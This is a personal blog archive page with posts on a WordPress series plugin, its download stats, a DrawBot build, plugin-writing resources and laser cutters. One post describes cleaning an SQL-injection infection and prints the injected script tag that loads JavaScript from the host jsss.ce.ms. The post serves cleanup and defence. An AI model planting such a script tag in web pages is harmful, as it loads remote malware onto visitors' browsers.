Simple Series – Half-Life; Market Research

I’m wondering at what point will the downloads on this plugin plateau.  Whatever the eventual baseline download rate, I would suspect that speaks to the amount of maximum market share that is possible for a plugin that performs these functions.1  I would think that downloads would spike when I release a new version of the plugin.  Given that I released about five updates to this plugin the first day, I would assume some of those initial downloads were duplicative.

As far as rankings go, at this time this plugin is #5 on WordPress.org’s plugin search page, #5 inside WordPress’s internal “Add New” plugins search page, and no where to be seen in the Google rankings.  Looking at Google Keywords, it appears that there’s no small amount of search traffic for the keywords “WordPress series.”  There’s some 200,000 global monthly searches.  One of the reasons I’m following this so closely is that I’ve had a few ideas for plugins that I could sell.2

Here’s the WordPress.org plugin download stats for “Simple Series with SEO!” for the first four days.

  1. 1/26/2012: 1 download
  2. 1/27/2012: 99 downloads
  3. 1/28/2012: 37 downloads
  4. 1/29/2012: 20 downloads

What will tomorrow bring?

  1. I promise I won’t subject your RSS feed to my obsessive stats checking.  Much of the time I use this blog as a way to document/save/organize information that is probably really only interesting to me. []
  2. A brother’s gotta earn, right? []

Anti-Virals

Here’s the WordPress.org plugin download stats for “Simple Series with SEO!” for the first three days.

  1. 1/26/2012: 1 download1
  2. 1/27/2012: 99 downloads2
  3. 1/28/2012: 37 downloads3

It looks after being bumped from the newest plugins slot, the downloads dropped precipitously.  So much for going viral, money, and fame, eh?

Actually, I’m happy to have helped out a 100 people or so.  I also think a lot more people will end up using this plugin over time.  The alternatives, while very good, are more difficult to use and do tend to add a lot of other stuff into your WordPress installation.

  1. That was me installing it in another blog! []
  2. And a blog ain’t one []
  3. I have nothing clever to say about this. []

DrawBot – The Delivery, Part VI

Okay, that was FAST.  I ordered the Adafruit motor shield from MakerBot on 1/26/2012 just after midnight and it arrived today a little after noon.  That’s about two-and-a-half days for the parts to be packed, shipped, make it from Brooklyn, NY to Oakland, CA and then to my secret robot lair in the Bay Area.1  While at the hardware store today I picked up some small eyescrews and new tips for my soldering iron.  Tonight I’ll assemble the board.  Again.

I can honestly say that I was mightily tempted to purchase a third motor shield along with this second.  However, as I have no immediate designs on a secondary DrawBot2 I’m not ready to admit the possibility of defeat.  In the words of Kongorilla, I will not fail.3

Actually, now that I’ve got these new soldering iron tips, I stand a chance of being able to desolder the mis-soldered parts. 4 My old soldering tips were old, tarnished, and somewhat crusty.  The soldering tip I’m replacing is all of these things plus it is in the rough shape of a flathead screwdriver. 56

Wish me luck!

    • Delivered, January 28, 2012, 12:09 pm, [SECRET ROBOT LAIR], CA [9XXXX]
    • Out for Delivery, January 28, 2012, 8:14 am, [SECRET ROBOT LAIR], CA [9XXXX]
    • Sorting Complete, January 28, 2012, 8:04 am, [SECRET ROBOT LAIR], CA [9XXXX]
    • Arrival at Post Office, January 28, 2012, 5:17 am, [SECRET ROBOT LAIR], CA [9XXXX]
    • Depart USPS Sort Facility, January 28, 2012, OAKLAND, CA 94615
    • Processed through USPS Sort Facility, January 28, 2012, 2:26 am, OAKLAND, CA 94615
    • Electronic Shipping Info Received, January 27, 2012
    • Depart USPS Sort Facility, January 27, 2012, BETHPAGE, NY 11714
    • Processed at USPS Origin Sort Facility, January 26, 2012, 11:40 pm, BETHPAGE, NY 11714
    • Accepted at USPS Origin Sort Facility, January 26, 2012, 10:25 pm, BROOKLYN, NY 11217

    []

  1. I’ll want to make sure I can get this first one sorted before I try []
  2. Actually, that’s a little more bravado than I’m really capable of.  If I fail, I fail – I just have no intention of ending at failure.  Rather, I’m committing to repeated failures … until I end up with a working DrawBot []
  3. Gah, why didn’t I pick up a desoldering pump while I was out today?! []
  4. And chipped, at that. []
  5. It’s really quite a miracle I got the first board soldered at all in the first place. []

Articles on writing WordPress Plugins

Looking back at one’s code from years prior is like looking back at a junior high school picture of one’s self.  I’m looking back at the code for my quick-and-dirty pie chart plugin and think, man, why did I write things THAT way?

In the 1,000 years since I wrote that plugin in 2009, I’ve been trying to learn and comply with best programming practices for WordPress plugins.  As a result my current plugins tend to be stripped down, simple, don’t create unnecessary options, don’t create unnecessary tables, taxonomies, special post types, or those kinds of things. 1  Learning some Object Oriented programming along the way has been super helpful.  By encapsulating your WordPress plugin code into a chunk of objected oriented programming, you reduce the likelihood that your plugins’ function and variable names will collide with those from WordPress or other potential plugins.

If you’re getting started or need to brush up on your WordPress plugin development skillz, you should definitely check out these awesome articles:2

I’d also recommend tinkering with jQuery and JSON, if you haven’t already. 3  I don’t know of any really good JSON tutorials, so if you do, please let me know so I can add it to this list.

  1. Admittedly, I’m not really shooting for super ambitious plugins either. []
  2. Mostly stolen from the WordPress Codex! []
  3. I only use JSON for passing data from the browser to the server via AJAX and then decoding into a PHP object. []

Simple Series with SEO! after just one day

I’m really happy to report that per the WordPress.org stats, this little post series plugin has been downloaded more than 100 times so far.  That’s really awesome.  And, now that I’ve figured out how to work this wacky SVN thing, I think it would be fun to release some of the other random little plugins I’ve developed over the last few years.

As of the latest version 1.4, the plugin is now easy to modify with some CSS added to your stylesheet.  I could have added this as a text field option a settings page for the plugin, but I really like the stripped down simplicity of the plugin as is.  Even with all the comment lines in the plugin, it is only 53 lines of code.  If super short code were a goal1 I could probably cut that in half.2

Now I have to find some of my old plugins that others might find useful.  I’ve got one for frame escaping, one for making pie charts…  I know there are a few other random ones as well.

  1. And it isn’t []
  2. Obviously, I’m not going to do this since it would make the code next to illegible []

Simple Series WordPress Plugin

I’ve written a new WordPress plugin specifically designed to let you simply and easily create a series of related posts.  You can download Simple Series here.

What does “Simple Series” do?

Simple Series uses a WordPress shortcode to associate your posts together.  All you have to do is use the same shortcode in all of the posts you want to associate together and the plugin does the rest.  It will automatically find all of the posts with the same shortcode, organize them by publication date, and put them together in a professional and easy to read format.  If you wish to change the format, you can just add your own custom CSS to your theme.

How does “Simple Series” work?

Easy!  Just add the shortcode to each of the posts you want to put in the series.  Inside the shortcode you will need to specify the title for the series.  Like so:

This Is My Series Title
  1. Simple Series WordPress Plugin

What if I add more posts later?

No problem!  The “Simple Series” plugin will always update the series lists in each of your posts whenever you publish a new post.  The newest post will always be added to the series in chronological order, by publication date.  You can see an example of what it looks like here in my own DrawBot series.

I have more questions!

Cool!  Please leave a comment to this post or send me an e-mail!

A nifty little WordPress plugin…

The idea for this little plugin has been rattling around in my head for a little while now.  It clocks in at less than 60 lines of code, including comments, and makes it easy to create a “series” for posts.

As I’ve been blogging about my (mis)adventures in building a DrawBot, I’ve been updating each post to contain a link back to all of the prior posts in the series.  However, if someone were to find one of the first posts – they wouldn’t see a link to a later post.  That is, unless I update all the posts.  That’s not really much of an option, since I’ve racked up 23 posts in less than 19 days. 12

This plugin is actually super simple.  Here’s what it does:

  1. Add a “post meta” tag for the current post with the same key as whatever you want to name the post series
  2. Query the database for all posts with the same post meta key as the one for the current post
  3. Output an ordered chronological list of all posts in with the same post meta key as the one for the current post

The simplicity of this plugin are actually some of it’s strongest features.  Unlike a lot of other series plugins out there, it doesn’t create any unnecessary tables in your WordPress database.  There are no settings to mess with, no CSS to fiddle with, no ugly standard formatting to overcome.

The only downside I can perceive is that if you delete the shortcode from a plugin, it will still leave the post-meta attached to the post and the post will still appear in the series.  If you leave the shortcode in and don’t specify a series title, it will delete the post-meta.  I suppose I could include a little button in the interface to delete the post from the series, but really, it’s just not going to be used that often.

Anyhow, this is something that I’ve wanted to have for a long time – I just hadn’t gotten around to building it yet.

  1. I’ve got a lot to say. []
  2. And, actually, that’s just 23 posts on this one topic.  I’ve probably blogged an equal amount over on the MakerBot blog, with a few totally random additional posts here. []

How to clean an “jsss.ce.ms” SQL injection

Well, that was exciting.  Apparently my website had been attached by some kind of SQL injection.  I was curious if my self-hosted WordPress website had been attacked like 4,300 others.  After some digging around, I found that this was not the case.  A scan by UnmaskParasites.com revealed nothing unusual.  However, a scan by Sucuri’s SiteCheck revealed some Javascript malware entries in some posts.

I say “some” posts.  By this I mean 3300 posts and post revisions dating back to the very first blog entry on this website going to as recently as July 13, 2011.  Not including this post, I’ve got 721 published blog entries – with almost all containing this little gem:

<script type=”text/javascript” src=”http://jsss.ce.ms/16″></script><script type=”text/javascript” src=”http://jsss.ce.ms/16″></script>

Here’s what I did to clean this infection:

  • Copy my entire “_posts”  to “_posts2″
  • Copy my entire “_posts” to “_posts3″
  • Downloaded “_posts3″ as a CSV
  • Find and replace all instances of the above script in the CSV with “”
  • Deleted the contents of “_posts3″
  • Uploaded the altered CSV into “_posts3″
  • Renamed “_posts” to “_posts1″ and “_posts3″ to “_posts”
  • Done!

It’s definitely possible to create a little WordPress plugin to clean this kind of an infection out, but there’s little incentive to do so when the manual fix is relatively easy.  If you’ve got this kind of an infection in your site and don’t know how to take care of it, drop me a line.

WordPress Plugin Writing Resources

WordPress is easily my favorite open source software project.  I love it for it’s functionality, flexibility, and extensibility.  When it comes to writing a plugin, these are my favorite resources.  Don’t write a plugin without them!

  1. WordPress.org Codex for Writing a Plugin
    1. If you’re just getting started, this is the place to begin
  2. WordPress.org Codex Plugin API
    1. a great overview of the WordPress plugin API
  3. WordPress Action Reference
    • When WordPress displays a post, page, or the administrative pages it has to run through a number of functions and actions.  Your plugin will need to be activated at one of these points, and it is very helpful to know the order in which things happen.
  4. WordPress Filter Reference
    • The WordPress filter reference is a list of WordPress filters.  Each one will be able to deliver a little piece of the website for your to manipulate in your plugins.
  5. WordPress PHP Cross-Reference
    • The WordPress codex is pretty good – but it is not comprehensive.  If you want to know how some of the more obscure functions, variables, or constants work, you’ll just need to dive into the source code itself.  PHPXRef is, hands down, the best way to do this.  It let’s you search and read the the source code from their website.
  6. Top 10 Most Common Coding Mistakes in WordPress Plugins
    • This is quite possibly the best blog post about writing WordPress plugins.  Applying these guidelines will make you a better WordPress developer and your plugins faster, more efficient, and more awesome. :)
  7. How to Design and Style Your WordPress Plugin Admin Panel
    • In a lot of ways, a program is only as good as its user interface.  Build a good friendly and powerful interface and people will use your program.  Build a bad one and no one will use it, no matter how awesome it is.  This one blog post gives numerous little ways to make your WordPress plugin administrative interface look better.

Is a lasercutter for me?

After consideration, maybe not.  Following Maker Faire Bay Area 2011 I was again prompted to investigate the feasibility of a lasercutter.  Now, I don’t have any great big grand plans for one – I just think it would be awesome to have one and I would be able to think of some pretty sweet uses for it if I had one lying around.

In any case, from what I can see there are some small and very professional looking fully assembled models starting around $8000. 1  As a hobbyist with no actual plans for immediate use of a lasercutter, this is way way too much for random projects.

I’ve seen a few websites that purport to have models for around $2,500 or so with kit options starting around $1800.  The way I look at it, there’s not a lot that can go wrong with a 3D printer.  A laser on the other hand…  could blind, burn, and cut from an arbitrary distance.  Besides, if a company can’t put together a simple WordPress website, I’m hesitant to drop thousands of dollars on their product. 2

There’s also two DIY options – the open source BuildLog.net and the promised-to-be-open-source Lasersaur.  It’s not exactly fair to criticize them for incomplete documentation.  BuildLog.net appears to be a collection of people documenting their laser cutter builds and aren’t advertising themselves as a complete tutorial.  Lasersaur started off as a very popular Kickstarter project but their site was almost devoid of information or developments until they re-surfaced at Maker Faire Bay Area 2011.  Going through the Lasersaur’s bill of materials I stopped tallying the cost once it hit $4,000.00.  At that point, it probably doesn’t make sense for me to try building my own.

For the time being, I don’t think I’m going to invest in a lasercutter, DIY kit, or open source project.  Besides, there are plenty of places in the Bay Area nearby I could have something cut or rent time on a machine.  If there was a project for up to, say, $2500 and had really great documentation, I might reconsider – but I don’t see that happening soon.

 

  1. I was thinking of the lowest Epilog model and one referred to as a “Turnkey Laser Business.” []
  2. And, really guys, come on. []